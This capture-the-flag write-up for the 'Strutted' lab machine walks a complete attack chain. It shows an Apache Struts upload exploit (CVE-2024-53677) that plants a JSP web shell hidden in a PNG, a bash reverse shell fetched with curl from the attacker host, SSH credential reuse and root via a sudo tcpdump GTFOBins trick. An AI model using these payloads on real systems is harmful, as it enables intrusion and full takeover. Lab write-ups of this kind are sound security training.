Enumeration
We start by enumerating the open tcp ports on the target machine. This can be done using the nmap
tool:
nmap -p- --open -sS --min-rate 5000 -n -Pn -vvv 10.10.11.59 -oN allPorts
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
We add dns resolution for target machine in /etc/hosts
file
10.10.11.59 strutted.htb
Now we will scan the open ports with service version detection and script scanning using -sC
and -sV
options
nmap -sCV -p 22,80 10.10.11.59 -oN targeted
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Strutted\xE2\x84\xA2 - Instant Image Uploads
|_http-server-header: nginx/1.18.0 (Ubuntu)
We navigate to the web page and find an image upload feature.
We also see a download button, which allows us to see the source code of the web application.
We find a file named tomcat-users.xml
which contains user credentials:
admin:skqKY6360z!Y
We also find that the website is using Apache Struts. We find a vulnerability in the Struts version being used: CVE-2024-53677
.
This vulnerability allows for uploading files to arbitrary locations. We have to use the Upload
and top.UploadFileName
file parameters.
User Exploitation
This is the burpsuite
request used for creating the malicious file:
POST /upload.action;jsessionid=663A2A8C0D6AB8FFF4FFB46F0ABF48EF HTTP/1.1
Host: strutted.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------35054823964779281091771702135
Content-Length: 1962
Origin: http://strutted.htb
Connection: keep-alive
Referer: http://strutted.htb/
Cookie: JSESSIONID=663A2A8C0D6AB8FFF4FFB46F0ABF48EF
Upgrade-Insecure-Requests: 1
Priority: u=0, i
-----------------------------35054823964779281091771702135
Content-Disposition: form-data; name="Upload"; filename="image.png"
Content-Type: image/png
PNG
���
IHDR�� ��X���vp�lýIDATxìÉ
0�PÜJÓg%(@§C|ÞÛÎ3����������������������������������������������������������������;�D¾EDgãMJѵ^köÃÖo÷µ¶k4óÃ4E"¢Þî�Àå)E|naï¬Á$I²l}νfæî U]SM¹ûiËÒ¨³ú×£ËO^yA|Ì ;º¼$=¦efh(ÌÊw7»wÍ"<¾ªefûë;ß¹n5Øôçu÷¬á³gP�êUrAE¨¨´¹FPQÂum}Äru¹¼DÜï!õ5$�3®¤/÷÷kgw?ýë/ÿ²ýÙqùøcú!Øw}2�ÇN§Óét:ÖïâÏN§j÷ßÇ;ªK(
s.±w¨;¥vK(å$í'äx¶!rcìvÐëk¤¦ ¬g!FÎ_ëæµäee}]W,/_úr8`YWͤÌÝ F¬fSrÛïÇÃ'`!a¿Aét:N§Ó!àø§ÓéÈw7Ò¯üÊaØïe·,1rtG<J2Cpoâu·XJkÈI0¨fE� Öl9öÚ"¤Ýï-\\0Õ9B;RC?»Bnò3òºrY̯÷÷¨_rÀZÈÖbªðPH/ÃÕL²;w[RÒÛÃÁÖ§O§À¿
N§Óét:áON§¾îë8~Ý×éxs#éwl"e4C ´3² âÁR£[ÄÝjS6bvlwrû$#d·\Åað¡Ç8"�Q%UMH¸;ü$ ×mû±¬«Åó&"õL
<%@ page import="java.io.*, java.util.*, java.net.*" %>
<%
String action = request.getParameter("action");
String output = "";
try {
if ("cmd".equals(action)) {
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
output += line + "\\n";
}
reader.close();
}
} else {
output = "Unknown action.";
}
} catch (Exception e) {
output = "Error: " + e.getMessage();
}
response.setContentType("text/plain");
out.print(output);
%>
-----------------------------35054823964779281091771702135
Content-Disposition: form-data; name="top.UploadFileName"
../../reverse.jsp
-----------------------------35054823964779281091771702135--
This way we are creating a JSP web shell at http://strutted.htb/reverse.jsp
.
We set up the listeners on our machine:
echo "#!/bin/bash
bash -c "bash -i >& /dev/tcp/10.10.14.136/443 0>&1"" > reverse
python3 -m http.server 80
nc -lvnp 443
Next, step is to exploit it using this payload. .
http://strutted.htb/reverse.jsp?action=cmd&cmd=curl 10.10.14.136/reverse -o /tmp/reverse
http://strutted.htb/reverse.jsp?action=cmd&cmd=chmod +x /tmp/reverse
http://strutted.htb/reverse.jsp?action=cmd&cmd=bash /tmp/reverse
We will recieve a reverse shell on our machine running as user tomcat
:
whoami
tomcat
We find a diferent password in tomcat-users.xml
file inside the machine:
admin:IT14d6SSP81k
We find a directory /home/james
, so we try to connect as user james
with passwords we got intomcat-users.xml
files:
su james
It wont work.
We try to connect to user james
via ssh using credentials which failed with su
:
sshpass -p "IT14d6SSP81k" ssh james@strutted.htb
And it works successfully.
whoami
james
Root Exploitation
We check if user james
has sudo privileges:
sudo -l
Matching Defaults entries for james on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User james may run the following commands on localhost:
(ALL) NOPASSWD: /usr/sbin/tcpdump
We check in gtfobins a way to run commands as root using sudo tcpdump
:
COMMAND=<command>
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root
We use cp /bin/bash /tmp/bash; chmod +s /tmp/bash
as command to generate a bash priveged version.
Then we migrate to root
using the binary we just copied:
/tmp/bash -p
whoami
root
Finally, we can read the root flag:
cat /root/root.txt
root flag value
Conclusion
In this write-up, we have demonstrated a complete exploitation path from a web shell to root access on a vulnerable machine. By leveraging a JSP web shell, we were able to gain initial access and escalate privileges through various techniques, including SSH credential reuse and exploiting misconfigured sudo permissions.